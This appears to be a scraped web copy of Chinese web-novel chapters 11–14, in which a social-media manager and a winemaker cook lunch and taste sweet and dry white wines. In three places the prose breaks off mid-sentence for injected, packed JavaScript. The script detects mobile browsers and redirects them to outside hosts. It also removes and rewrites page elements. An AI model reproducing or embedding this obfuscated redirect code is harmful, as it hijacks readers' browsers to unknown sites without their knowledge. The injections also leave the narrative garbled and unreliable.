罗彻斯特的上海总部，人人西装革履，个个精妆严裹，是脂光粉艳又刀枪肃杀的名利场。相较之下，斯芸酒庄的办公室，就显现出了一片田园牧歌式的松弛与祥和。 这里的办公桌上没有网红连锁店的外卖纸袋，也没有浓郁逼人的大牌香水与护手霜，甚至连茶水间里摆着的都不是方方正正的即热饮水机——而是几只插着电的养生壶，正咕嘟咕嘟地煮着花茶与枸杞，十分的养生。 这种奇妙的质朴气氛，让杭帆久违地感到了一丝放松。 行政姐姐的性格非常随和，领取器材的手续也非常简单。不到五分钟，杭帆已经在登记薄上签完了字，抱着一大堆设备往门外走。 这也太丝滑了吧！小杭总监直呼舒适：瞧瞧人这工作氛围，瞧瞧人这办事效率！要是还能再加点儿工资……嗐，那还有谁会想要回总部受罪啊？ 眼瞅还有一刻钟就到十二点，杭帆索性抱起了他新拿到的设备，早早地坐到了公共厨房的岛台边。 大理石制的岛台边缘有点硌人，但侧身依靠着岛台的杭帆小朋友正沉迷于调试他的那一大堆玩具，哪里还顾得了这个。 真好啊，能花酒庄的公款买设备。 小杭总监很是羡慕地摆弄着手里的去年最新款的平板电脑，心想：哪里像总部，光是申请新设备的审批流程就要一个月。唉……人比人得死，货比货得扔呐！ 为测试平板电脑上的后置摄像头，杭帆准备在厨房里拍摄几段视频素材。冷不防一条系统提示跳出来，问：是否要同步云端账户中的数据备份？ 数据备份？杭帆眼前一亮，难道是上一个运营拍的视频素材还没删光？天助我也！ 他毫不犹豫地点下了“确认”。 然后，在5G网的高速加持下，一张张赤裸的半身照，如同激情喷溅出一摊呕吐物那样，在相册里飞快地增殖起来。 一个精瘦而黝黑的男人，正在照片里忘我地进行着某种“自我取悦”活动。 如果可以的话，杭帆真想戳瞎自己的双眼。 11. 免费午餐 在隔壁好邻居的酒庄里打了一轮秋风，岳一宛高高兴兴地回到了自己的地盘上。 不可否认，免费的酒就是最好喝的，在这一点上，岳大师也不能免俗。 他一进厨房，就见坐在岛台边的杭帆正低头狂戳一块平板电脑。 杭总监神色严峻，眉头紧锁，肩背微弓，像是一只身姿紧绷又鬼鬼祟祟的猫，随时都会被身后的黄瓜给吓到。 酿酒师情不自禁地联想起了那些整蛊白手套黑猫的恶趣味视频，立刻就给自己逗乐了，“噗哈哈哈”地狂笑出声。 果不其然，这动静把杭帆给结结实实地吓了一跳。头都还没来得及抬起，他人就已经就从椅子上弹射了出去。 “你……搞毛啊！？怎么过来了也不说一声？？” 说这话的时候，杭总监面色如土，一双猫一样的凤眼都给他瞪成了正圆形。看来是真的吓得不轻。 岳一宛却直呼冤枉，“也没哪个公司会规定说，经过同事身后的时候非得出声打招呼不可吧？” “放心，放心，”这位大恶人还宽宏大量地挥了挥手，一派“天知地知，你知我知”的窃笑口吻：“无论你是上班偷摸着打游戏，还是光明正大地看起了演唱会直播，只要不妨碍别人的工作，这里都不会有人去向总部举报你的啦。” 杭帆淡色的嘴唇略动了两下，到底是没有再继续这个话题。他就像是短视频里那些漂亮又谨慎的黑猫，在陌生物品面前谨慎地翕动着了一下粉红色鼻头，最后决定掉头就走。 “你刚刚把什么东西给放进冰箱里了？” 他岔开话题的方法还是一如既往的生硬。 将食指贴在了唇上，岳一宛故作玄虚地挤了挤眼睛：“秘密。”他说，“而且现在已经是午饭时间了，我能否劳动杭总监的大驾，给我搭把手呢？” 回答他的只有一声认命似的叹气。 山野之间的酒庄生活堪称乏味。即便是那些出身于当地的青年，也总是更往那些繁华大城市——毕竟，葡萄园里可不会长出奶茶、宵夜、盲盒与电影。 在这些来了又走的年轻人之中，岳一宛也曾见过他们在节日聚餐时帮忙洗切配菜的样子：给菜叶匆匆沾了下水，连泥灰都没有冲刷干净；滚刀块切得像是行为艺术，一劈为二就算是完工…… 而杭帆和他们都不一样。 斯芸酒庄的新媒体运营总监，有一双灵巧又稳定的手，他择去根茎的动作娴熟，清洗菠菜与小番茄时还会逐一确认表面洗净与否。就连辛辣的洋葱，到了他手底下也都只乖巧地翻滚，在菜刀下变成细长均等的丝条。 拧着手里的黑胡椒研磨瓶，岳一宛收回视线，漫不经心地想：难怪古代的骚客们都爱咏唱什么“指若削葱”、“纤手破新橙”……厨子有一双漂亮的手，确实会让人更有食欲些。 “杭总监平时喜欢做饭？”他问，“我看你动作都挺熟练。” 杭帆正在把小番茄对半切开的那位，手上的菜刀应声一顿，似是在竭力忍耐把凶器砸向同事的冲动。 “我不喜欢做家务。”此人语气干瘪，浑似一颗在太阳底下曝晒了整三个月的新疆葡萄干：“任何形式的家务，我都很讨厌。” 说完，手起刀落，又有几颗圆圆胖胖的小番茄被应声腰斩，在砧板上迸溅出了酸甜的汁液。 “但做事情，要么彻底甩手不做，既然做了，就尽量做到最好。” 杭帆头也不抬地说道：“有始有终，至少能够对得起我自己。” 喔。岳大师莞尔，心说这话似乎不止是在讲切菜这件事而已。 “但话说，你不是说今天你来做中饭吗？” 直到给菠菜焯完了水，任劳任怨的小杭总监才终于想起了这点：“怎么感觉从头到尾都是我在干活……？” “绝对是你的错觉。” 厚颜做答的岳一宛，优哉游哉地在灶上架起了平底锅，手势花俏地往里加进了橄榄油。 三文鱼切块，用黑胡椒与柠檬腌制，煎到两面变色后捞出。 再用鱼皮煎出来的油将洋葱与蒜片炒香，加入小番茄，略微煮出茄汁后倒入白葡萄酒。 待酒精味蒸发殆尽之后，适量地点入奶油，稍作焖煮，放入焯水过的菠菜。 最后，用一小块黄油增香。 “杭总监，”菜还没出锅，主厨阁下又开始拖腔拖调地召唤的他的免费苦力了：“外面走廊上有几盆我种的香草，你看到过的吧？能认得出欧芹吗？剪几片叶子回来给我呗。” 好吧，世界上果然没有免费的午餐。 蹲在走廊上的小杭总监，一边艰难地用手机识图app分辨到底哪一盆才是那该死的欧芹，一边在心里郑重地写下了那句至理箴言：免费的东西，总是最贵的。 岳一宛这人，使唤起同事来就像玩开酒刀那样顺手。 “把欧芹切碎，撒到三文鱼上面就行。”他背对着杭帆关上了冰箱门，又踱到了到台前，不知在捣腾些什么：“餐具放在右手边的橱柜里，记得用大一点的深盘来盛。” 在已然麻木的心情里，拿起了锅铲的杭帆甚至觅得了几分得道超脱般的平静：“要是有下次，还是从一开始就让我来做饭吧。” 对于杭总监的这番引颈受戮，大魔头表示乐见其成。 “我是很乐意吃嗟来之食的。”岳一宛喜气洋洋地说道，“只不过，今天咱们还要上课，我也就只好委屈一下自己，亲自动手做一做教具啰。” 您这哪里是委屈自己啊，您这分明就是给自己找乐子来了。 杭姓跑堂伙计冷哼一声，一手端起一盘奶汁三文鱼，稳稳当当地搁在了桌上。 再一抬头，就见岛台上摆出了一溜高脚玻璃杯：不同于昨日那些红酒杯的大腹便便，这几只酒杯的杯底，只如礼服裙摆般略略放宽一些。杯身略略收拢，杯口则又优雅地轻微打开，如同喇叭花的花苞一般。 “你的那几杯，我都只在杯底倒了两口的量。” 岳一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438197|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宛忍不住感叹，自己可真是个体贴的好老师。 “当然，就像我之前说过的，尝完味道之后都可以直接吐掉。酒量是勉强不来的哦，杭总监！” 而他的好学生似乎在考虑怎么才能一头撞死在公共厨房的中央岛台上。 同样是白葡萄酒，同样是剔透晶莹的玻璃杯，盛着酒液的三只杯子却明显呈现出了不同的颜色。 第一杯是琥珀般浓郁的金色。 倘若在场的是爱与美的女神阿芙洛狄忒，恐怕要疑心这是她的黄金花冠在杯中溶解。 杯身摇动间，些微粘稠的酒液就如蜜糖般地挂着在了杯壁上，香甜的气味争先恐后地亲吻上杭帆的脸颊，像是小时候吃过的糖水黄桃罐头。 “这支是中法庄园的小芒森甜白葡萄酒。”岳一宛把酒标转过来给杭帆看。 按照葡萄颜色，葡萄酒可以大致分为红葡萄酒与白葡萄酒两种。也可以按照酒中的含糖量，大致分为甜型与干型这两大类。 这种最大众化的基础知识，杭帆还是略有耳闻的。 “旁边这一支，来自我们亲爱的好邻居龙亭酒庄，‘东方美人’。” 看来这打家劫舍的勾当是真的很让人快乐。因为岳大师笑得脸都要歪了，也不晓得这厮到底是在别人家里干了什么坏事：“嗯，没错，是我刚去他们那里薅来的。” 第二杯是灿烂如夏日朝阳的淡金色。 它令人联想到一切温柔而隽永的事物，比如妈妈在出门野餐时戴的草帽，比如珍藏多年的好友信件。 微晃的杯身，令酒液如金色池水般荡漾，而那份在杯壁上优雅来去的流动感，也使每一个持杯的人都感到身心舒畅。 即使把杯身远置于胸口，这馥郁迷人的清爽香气也丝毫不会褪色：它闻起来就像是一杯甜津津的蜂蜜水，又加入了一点点柚子果粒似的酸，尾调中还带着一丝悠远如歌谣的隐约花香。 如果说，“斯芸”与“兰陵琥珀”的香气复杂而深邃，像是毕加索与米罗的超现实主义画作那样令杭帆头晕目眩的话，那这支“东方美人”，就是童话书里活泼秀雅的插图，简单易懂，明亮又欢快，富于幻梦般轻缱的柔情。 “‘东方美人’，真是个好名字。”杭帆情不自禁地感叹，“这香气和名字，会让人联想到吴门画派的工笔仕女图。” 斯芸的首席酿酒师不由莞尔。 他亮出了瓶身上的酒标：半掩的团扇下，宫装女郎正抿嘴而笑。 “我喜欢国产葡萄酒的理由之一，就是它们的酒标都很有趣。” 用与伙伴分享心爱玩具似的口吻，岳一宛兴致勃勃地道：“你知道吗？即使是在全世界范围里，国产葡萄酒的酒标都是设计得最漂亮的！酿酒师不仅可以在酒标里尽情抒发自己对这支酒的理解，还可以用酒标来致敬自己热爱的一切！” 他的眼神闪亮，满是憧憬，好似翠绿色宝石磨琢成的星星。 “酒标，就是酿酒师的个性签名啊！” 12. 对神与王的反叛 杭帆记得很清楚，“斯芸”的酒标上只有金箔烫印的斯芸二字。 大道至简，大音希声，这一笔婀娜婉转的瘦金体，写在触感如云朵般绵绒的特种纸上，是不用标价都能感知到的昂贵。 而“兰陵琥珀”的酒标则是一方小小风景图，工整的墨线，规规矩矩地描出斯芸酒庄所拥有的起伏梯田与广阔葡萄园，一板一眼得几乎不带有任何感情色彩。 可能还是因为我的艺术鉴赏能力太浮于表面了。杭帆心想，所以才无法从酒标上看出任何“个性”与“热爱”的要素来。 深感羞愧的小杭总监，不由自主地在心里进行起了反思。 “那，斯芸的两款酒标，是在表达了你的思想感情吗？”敏而好学的杭帆同志，迅速翻开了自己脑子里的小笔记本：“那是一种……什么样的感情？” 这句话，像是给时间摁下了暂停键似的，让岳一宛手里的叉子都在原地凝滞了半秒。 一时间，首席酿酒师的表情复杂到精彩纷呈，仿佛杭帆刚刚徒手往他嘴里塞进了一只椒盐五香大蟑螂。 “首先，我要郑重声明。” 岳一宛的招牌笑容在他自己的脸上摇摇欲坠，像是一蓬因陈放太久而整个儿塌陷下去了的奶泡：“虽然我是斯芸的酿酒师，但斯芸的酒标，和我本人，这两者之间绝对没有任何一毛钱的关系。” “2011年，酒庄装瓶了他们的第一支‘斯芸’。那年后，我都还没有开始在斯芸工作呢！” 这人如此气急败坏的样子，杭帆还是头一回见到。他心头登时大乐，不禁暗暗忍笑腹诽道：哎哟哟，岳大师，你这急于撇清自己的模样，真的很像是那些在好莱坞记者会上跳脚大喊说我没有出轨的渣男诶。 大约是近朱者赤而近墨者黑的缘故吧，小杭总监也故作无辜地掀了掀眼睫，语气纯真地发问：“诶，可是昨天上课的时候，你不是还说，‘兰陵琥珀’是你入主斯芸之后，负责为酒庄酿造的第一支副牌产品吗？” “那是因为……哼！还不是因为当年我提出的几种方案，都统统被上面给否了吗！” 凶神恶煞地，岳一宛剁下了一块三文鱼。他气势汹汹地捏着手里的餐叉，硬生生架出了一副堪比关公舞大刀的气势。 “说来说去，不还都是什么品牌调性、客户定位之类的无聊东西。” “他们大概是觉得，愿意花五六千块钱购买一瓶葡萄酒的客户，都是些崇拜‘老钱风’与‘贵族血统’、言必称‘法国’、行必效仿所谓‘名门传统’的人。” 仿佛是一匹因被困于棚圈中而踢踏不满着的汗血宝马那样，岳一宛从鼻子里哼出了重重的几声。 “‘要怎么样才能让中国葡萄酒变得好卖呢？’”他阴阳怪气地捏起了嗓子：“‘那就给酒标也画上城堡和庄园，然后开始期待会有眼瞎的傻子把它们当成法国葡萄酒给买下吧！’” 酿酒师的讥诮发言，令杭帆顿有醍醐灌顶之悟。 “原来是这样……”他喃喃。 “难怪，‘兰陵琥珀’的酒标设计虽然也用了中国元素，但乍一看去，倒像是把法国的酒标用毛笔重画了一遍。” 真是可悲。他禁不住就要这样想。 一座酒庄，历经十几年风云变化，不知投注了多少人近半生的心血，到了最后，引以为傲的产品，竟然还是只能装瓶进了对所谓“法国名庄”的拙劣模仿里。 岳一宛不知杭帆心中的闪念，神情依旧是三分笑意里掺着两成恼火，还有一分爱恨昭彰的咬牙切齿。 “早晚有一天，”他竖起餐叉，指天为誓：“我要把‘斯芸’和‘兰陵琥珀’的酒标全都给换掉。” 发愿立誓，大多都只是一时放出的狠话。更改前人留下的酒标，难度不亚于奢侈品品牌更换商标。 可杭帆却莫名地相信，面前的这个人真的能够言出必行。 “酒标就暂且说到这里，我暂时还不想起那些讨厌的人和讨厌的事。” 斯芸的首席酿酒师放下餐叉，拿起纸巾优雅地擦了下唇，旋即矜贵地拈起酒杯，屈指敲了敲小杭总监面前的桌子：“回到我们的课上来，杭帆你面前还有第三杯酒呢。” 第三杯白葡萄酒是极浅淡的金。 似有若无之中，似乎有青柠檬般的生脆绿调在偷偷向你眨眼。 杭帆举杯轻晃，闻到清晰凛冽的水果酸味：那是一种毫不迂回、干脆又果断的酸与香，仿佛是一颗刚切开的青苹果，又像是用力挤握了半颗切开的柠檬。 “……这支也是甜型的酒？” 小杭总监的鼻子说它可不这么认为。 “你尝一口就知道了。” 岳大师循循善诱，口吻像极了那些正试图要把漂亮流浪猫诱拐回家的好心人：“实践出真知啊，我的朋友。在葡萄酒的事情上，我怎么会骗你呢？” 你还不如直接在脸上贴个“此地无银三百两”的条儿得了。杭帆心想。 但为了获得第一手的知识，这坑不跳不行。于是他毅然决绝地举起了杯子——然后，像猫咪舔水那样，万分谨慎地在杯边抿了一小口。 差点给他酸得连眉毛都飞了出去。 “不喜欢酸的？嗯，意料之中。” 把餐盘往杭帆手边推了推，岳一宛单手托腮，笑得非常欢乐：“毕竟咱们杭总监嗜好甜口的嘛。” 半句废话也不和这人多说，杭帆叉起三文鱼就往嘴里送。 他大力咀嚼着鱼块，只在丹凤眼里射出两道凌厉目光，剔骨刀般凶恶地扎在岳一宛的胸口，大约是在思忖着要如何食其肉寝其皮吧。 而岳一宛在精神层面上是真的皮粗肉糙。面对小杭总监的无言讨伐，他竟还有脸把先前的那两杯酒重又端到了杭帆面前，道：“好啦，不骗你，现在的这两杯真的是甜的。来尝尝看？” 杭帆：“……” 感性告诉小杭总监：轻信岳一宛，会被骗得连裤衩都不剩。 理性也在耳边轻语：不信岳一宛，你的年终奖就难逃一死。 “你至少也让我做个心理建设。” 小杭总监做出了最后的无用挣扎，“从0到10，这两杯大概会有多酸？我去给自己倒杯水先。” “我保证，方才的那杯已经是最酸的了。” 岳一宛托着下巴，咭咭咕咕地发出坏笑：“你快喝吧，趁着还没遗忘刚才的味道，赶紧把这三杯放一起做横向对比。” 在这种无耻大恶人面前，杭帆哪里还能有什么逃脱的办法。他也不过只是一个寄身于斯芸酒庄的可怜打工仔罢了。 硬起头皮，小杭总监从第一个杯子里抿了一口。 下一刹那，极致的甜在口腔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438198|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里炸开，像是嚼碎了一颗多汁的糖果爆弹，又像是啜饮着一杯蜂蜜。 这酒是甜的，他想，确实是甜的。 杭帆感觉自己的脑子都像是被糖份给炸懵了，一时之间，他能想到的东西，除了“甜”，就还是“甜”。 “这是葡萄酒？”杭帆不可置信，“这简直就像是……” 他摇了摇头，低头看向了手中的酒杯，仿佛要再次确定口腔里流淌过的甜蜜液体，确确实实是由葡萄酿造而成的。 “西方神话里都曾提到过一种蜜酒。”他说，“我小时候曾经努力地去想象过它的味道。” “能让众神之父都称其为‘珍贵’的蜜酒，能登上国王的宴会餐桌、并令酒神都开怀到愿意赐予神迹的‘蜜酒’，它究竟会是什么味道？到底会有多好喝？” 只不过喝了小小的两口而已，杭帆自认为这还远没到会醉酒的地步。可超量的糖份迅速给大脑带来了无上的愉悦，还有杯中那愈发浓郁芬芳的、好似渐行渐近般的花香，快乐的气氛简直是打折旋儿地在他的舌尖上跳舞。 “而现在，我会猜，能让屠龙的英雄壮起胆气、令濒死的诸神都露出微笑的蜜酒，也应该就是这个味道了。” 平日里的岳一宛，微笑眉眼里总潜藏着一种锋锐的东西，像是一把收拢在掌心里的薄刃，随时随地做好了出刀的准备。 但这一刻，他的眼角温柔地弯曲了起来，连尖利冰棱都在暖春里悄悄融化。 “这支就是中法庄园的小芒森，”他说，“听到你这样不遗余力的褒美，它的酿酒师一定会很高兴。” 尽管杭帆夸奖的是别人，可岳一宛的语气中却同具一份与有荣焉的欢欣。 “‘Nectar’一词，希腊神话中谓之为诸神饮馔用的蜜酒，后来这个词在英文里引申出‘花蜜’或‘蜜浆’的意思。” 徐徐拈捡起了这些来自公元纪年之前的遥远典故，酿酒师的语气亲切又熟稔，仿佛是在点检着自家收藏的珍宝。 “在史诗与歌谣里，饮用蜜酒，惯来是天神、英雄与贵族的特权。因为这份甜蜜的滋味是如此的稀有，甚至远比普通人的性命更昂贵。” “因为蜂蜜香甜，而又近乎‘永不腐败’，所以上古时代的希腊人认为最神圣高贵的酒理就应用蜂蜜来酿造，罗马贵族也爱往他们的上等葡萄酒里多多地加入蜂蜜。最唾手可得的普通葡萄酒，则常被认为是庸俗的水酒，是贱民与穷人才会去喝的东西。” 在数百甚至上千年的历史中，在农学家与种植者们的不懈努力之下，含糖量更高的葡萄终于从大地里诞生。 经过无数次的技艺改良，经过一代又一代酿酒师的手，人们终于酿造出了比真正的蜜酒还要醇厚、香甜得连天上诸神都不曾敢于想象的葡萄酒。 “最重要的，它的价格也并不高昂。三百块，你就能够享用到足以让奥丁和宙斯都嫉妒得发狂的佳酿。” 斯芸的首席酿酒师执起了酒杯，甘醇的液体摇曳着黄金般璀璨的闪光。 “猜猜历代的皇帝与国王们都会怎么想这事儿？啧啧，依我看，这简直是在‘特权’的脸上扇了一个巴掌。” 锵啷一声，两只酒杯的杯壁轻撞。 “来吧，敬劳动者的智慧。” 岳一宛高高举杯：“这是我们对神明与国王的反叛。” 13. 甜蜜敲门砖 餍足地放下酒杯，杭帆将视线转向了第二个杯子。 如果这是一场甜白葡萄酒之间的擂台赛，有中法庄园的这一支珠玉在前，很难想象“东方美人”要如何才能胜出。 室内正是温暖怡人的温度，冰透了的白葡萄酒，散淡地浮着几枚细碎的气泡，在酒杯的杯壁蒙现了一层薄薄的水雾。清凉得像是度假中的夏日。 杭帆垂下眼睫，将杯中酒送入口中。 和前一支酒相比，“东方美人”并不具有那份浓缩到惊人的甜。它略显克制的甜度，恰到好处地压过了白葡萄的酸，形成了一种清透沁人的甜美。 它是一支优雅到近乎于具备古典风情的酒，像是中国神话里的玉液琼浆，令人在唇齿间品尝到了回味的悠长幸福，却又不会因此而陷入狂喜与烂醉的癫癔中。 闭上眼睛的杭帆，任由那一口酒液浸润着舌尖。 尽管此刻，大脑并没有像为爱豆打call的粉丝那样疯狂地分泌多巴胺，但他却清晰地体会到了酸与甜的巧妙平衡：如同胭脂红与孔雀蓝的两色丝线，彼此互为经纬，互相穿插缠绕，最终织就出一副令人百看不厌的明快图案。 而在舌面上蹦跳翻滚着前进的，是来自酒精的微微辛辣感。如同一串滋啦作响的小小电火花，它为酸甜的快乐中加入了一点点的刺痛，带来更加复杂的味觉体验。 ——这种芬芳而甜蜜，微酸中又带着一丝疼痛的感觉，就像是……纯洁的、明净的、初恋的滋味。 杭帆一睁开眼，就看见岳一宛那张怼上门来的大脸。 “在想什么呢？” 《岳氏汉语大词典》里似乎压根儿就不曾收录过“距离”与“分寸”这个两词。 他的鼻尖距离杭帆的睫毛不过十厘米之距，一双浓夏深潭般的眼睛绿汪汪地看过来：“怎么突然哑巴了？不对啊，我也没在酒里下过鸩毒啊。” 嘎嘣一声，杭帆在心里用力捏碎了“初恋”两个字。 酒中的酸味原来是我破碎的道心啊。他面无表情地想道，酒精的刺痛，就是我那极其完美却惨遭这厮一票否定的直播计划啊…… 杭帆自己并不知道，在先前的那一刻，当他低睫垂眸的时候，自己的脸上曾短暂露出了一瞬朦胧的微笑。 而岳一宛始终都在看他。 他看着杭帆脸上浮现出的笑意，明明只是若有若无的一点，却如唤醒了夜明宝珠的一丝微光，将整座暗室都彤然照亮。 可那笑容又是如此的邈远，如此地难以把握又触不可及，如同携着缥缈歌声的山风，在千里之外的群山下独自回唱。 这突然让岳一宛心中生出一丝无名的焦躁。 于是他出声打断了杭帆的遐思，成功地在对方脸上看到了那份“敢怒，但懒得敢言”的熟悉表情。 很好。 这厮满意地点头，竟还在心中洋洋自得起来：现在是我在上课，做学生的怎么能自说自话地走神呢？ 只一个没注意，刚刚被他逼进了岛台角落里的杭帆，已经默默地拿起酒杯，自个儿转到了岛台的对面坐下了。 对此，岳一宛心中属实有些不满。但他一时半会儿也没想通自己到底在不满个什么劲，于是只得扁起了嘴，问：“那么杭总监对这支酒有什么评价？” “我觉得，对于从未接触过葡萄酒的消费者而言，这支‘东方美人’或许是最完美的入门级教科书。”杭帆说。 明明正式开始接触葡萄酒也才是这两天的事情而已，而他却已经就丝滑地利用自己的职业视角来思考这个问题了。 “之前，我看过一份快消行业的酒水类目相关报告。与上一辈常在宴请场合喝白酒与黄酒的消费习惯相比，年轻一代更偏爱甜味明显的酒精类饮料，比如各种果酒，还有预调鸡尾酒。” 每当说到他自己专业领域内的话题时，杭帆总是不由自主地将语速加快。 岳一宛注意到，这人连呼吸都变得有些急促，双颊泛红，睁圆的眸子与挑起的眼尾里都闪耀着意气风发的光——在这个时候，杭帆本人就如同他的名字那样，正像一艘在被海风吹满了帆的小船，迫不及待地要去破浪远航。 “对于普通的消费者来说，葡萄酒似乎具有一道难以逾越的高大门槛：觉得它是舶来品，又酸涩又难喝，还有什么醒酒和适饮温度等规矩，又复杂又听不懂。” 杭帆伸出手来，在空中虚虚画了一个圈：“我觉得，全部的这一切，也就是在当年为葡萄酒构建出了‘高端大气上档次’形象的那些话术，在今天，已经成为了阻碍年轻人接触葡萄酒的主要原因。” “可是，如果摆在面前的是这一支‘东方美人’的话？” 他的眼睛里闪烁着亮晶晶的光彩，像万花筒中的奇景般引人沉醉。 “既没有那种讨厌的涩感，又符合大家嗜甜的口味，冷藏一会儿就能很好喝——这不就是最适合用来勾引消费者尝试‘葡萄酒’这个东西的选项吗？” “即使是在餐厅，或者朋友聚会上偶然喝到了这样的一杯酒，它无与伦比的亲和力，一定会成为大家想要更进一步地品尝葡萄酒的契机吧？” “停一停，停一停。” 岳一宛截住了他的话头：“我大概能猜到你的想法。你是想说，如果能有一块合适的敲门砖，能让更多消费者轻易地体会到葡萄酒的美妙之处，那就一定会有更多的客人开始消费葡萄酒——我们的杭总监甚至可能已经开始思考，是否能在斯芸酒庄的账号里，有意提及到我们这位酿造‘东方美人’的可爱邻居了对吧？” “如果把能整个中国葡萄酒的市场都变得更大的话，身处行业之中的斯芸酒庄，当然也就一定能够卖出更多的酒，这是最好的设想。也是我们所有人都曾经有过的设想。” 站在行业长久发展的立场上来进行思考，而不只是“多快好省地卖出更多的酒”。这已经是一件足以令每个酿酒师都深感动容的态度了。 可是。可是啊。 “但这个想法并不现实。” 斯芸的首席酿酒师只做了一句简略评价。 杭帆稍稍扬了下眉头，“我能理解。” 他的态度倒是比岳一宛想象得要更加平静许多。 “虽然蓬莱的酒庄们互为邻居，但归根结底，大家在市场上毕竟也是互为竞争对手的，这点我完全能够理解。而且， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15438199|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身为斯芸与罗彻斯特集团的打工人，我也不可能用自家酒庄的账户去为隔壁的产品做推广与宣传。” “但是，斯芸酒庄完全可以自己酿造一款甜型的白葡萄酒。”他说，“这应该不是一件特别困难的事情吧……？” 这一次，轻快的笑容从岳一宛的脸上消失了。就像是雨水渗进了沙地里，只模糊地残留下一点潮湿的痕迹。 这像是一种奇怪的往日重现。岳一宛想。只不过是对话的那个声音，从自己的自言自语，变成了面前的杭帆。 杭帆啊杭帆。岳一宛忽得想笑，却又无不刺痛地咬牙：这个杭帆，聪敏到足以敏锐地察觉到市场的真正痛点所在，却又天真得看不透这一切背后的畸形商业法则。 “斯芸酒庄不能酿甜白葡萄酒。”他说。 “为什么？” 杭帆的表情有些茫然，他似乎不太能明白这话语背后的逻辑所在，而酿酒师陡然生出刺来的语气也让他感到深感迷惑。 “……酒庄里有这样的规定？” 岳一宛当然察觉到了自己口吻上的生硬。他知道，自己此刻的声音听起来大概不比那些干裂到龟裂的盐碱地要好上多少。 可他暂时就是无法切换进那副演戏般游刃有余的嗓音里。 他控制不了这个，羞愧与恼怒与疼痛与遗憾，就像是流淌的火焰那样在他的肌骨里燃烧。一旦咀嚼起自己的无能为力，他就像是重新回到了十几岁的光景中，回到了那个身体里滚动着的无数长出刺来愤怒与痛苦的岁月，为自己没有改变面前这些烂事的能力而感到羞愧，却也为他人的不理解而感到愤怒与悲痛。 “让我换一种能让你容易理解的说法吧。” 而岳一宛到底已经不再是十二三岁的惨绿少年了。他只停顿了片刻，就再次调整好了语音语调，以置身事外般抽离的口吻道：“罗彻斯特集团给斯芸酒庄的定位是‘未来的世界顶级名庄’，所以他们绝不会允许酒庄产品里出现甜葡萄酒这么‘有辱门楣’的东西，你能明白吗？” 这番话确实有意语含挖苦，可这夹枪带棒的词句，也同样在岳一宛自己的唇舌里剜出了流着血的伤痕。 他真希望杭帆能直接放弃这个让斯芸酿甜酒的愚蠢主意然后让他们头也不回地跳进这节课的下一个话题里可是杭帆这人却说—— “‘有辱门楣’，是因为甜型葡萄酒的整体价格更便宜，在饮用上又不存在相关知识储备的门槛，所以，对于罗彻斯特集团而言，这绝不是他们想要的那种，足够‘高端’、足够‘尊贵’、能让‘斯芸酒庄’这个名字都变得更加值钱的产品，是吗？” ……这小子，明明自己就浸淫在罗彻斯特集团以奢侈为主导的世界里。 却依然敏锐得像是一根能够刺穿一切虚伪的针，毫不犹豫地挑破天价伪饰下的真相。 蓦然间，岳一宛听见自己心底的慨叹。可他并不确定，这究竟是对杭总监犀利言辞的赞许，还是对自己这个正躺在商业版缓刑断头台上的酿酒师的自嘲。 “是啊，就是这样。杭总监，这让你对斯芸和整个葡萄酒行业失望了吗？” 这让你对我失望了吗，杭帆？ 14. 白葡萄圆舞曲 杭帆叹了口气。 “一想到自己身为‘普罗大众’和‘葡萄酒外行人’的身份，在上面的那群人的眼里，完全就是‘乡下土狗’与‘土鳖’的代名词，确实是有一点点的生气。” 他坦诚地表达着不满，尔后却又忍俊不禁地笑了起来：“但想想这是罗彻斯特，是咱们那一惯都嫌贫爱富的老东家，就觉得这群人竟也有点江湖道义——至少，他们不骗穷人。” 斯芸酒庄出品的葡萄酒，市售标价三千块起步。 这要给不知内情的人看到，还以为那葡萄藤上结的是金子！ 想起前日的品酒课，一只只杯子里哗哗流过的竟是数以万计的金钱，杭帆就心痛到扭曲了，声调简直比干白葡萄酒更加酸溜溜：“甭管它是红葡萄核还是白葡萄，甜的酒还是酸的就，我反正都买不起。 “这么一想的话，就好像也没有和他们置气的必要。” 他说，“但是，岳一宛，你和我不同。” ——你是业内人士，所谓的“资深玩家”，斯芸首席的薪水足以让你眼都不眨地买下任何市面上的任何一支好酒，而你又是我认识的所有人里最喜欢拿腔作调的一个。 “你又是在为什么生气？” “生气？什么？我没有生气。” 岳一宛的嘴嘛，总是比葡萄田里的花岗岩石子还要硬的。 “我就是觉得酿甜白葡萄酒也会非常有趣。有这么好玩的事情却不让我干，我就手痒得像是有虫子在爬诶！” 小杭总监对这回答毫不买账，还冷漠地向他投去了一个与看熊孩子一般无二的凉凉眼色。 “好吧好吧好吧，”在杭总监的犀利注视下，岳大师终于举起双手投降：“我承认这不是全部的实话。” 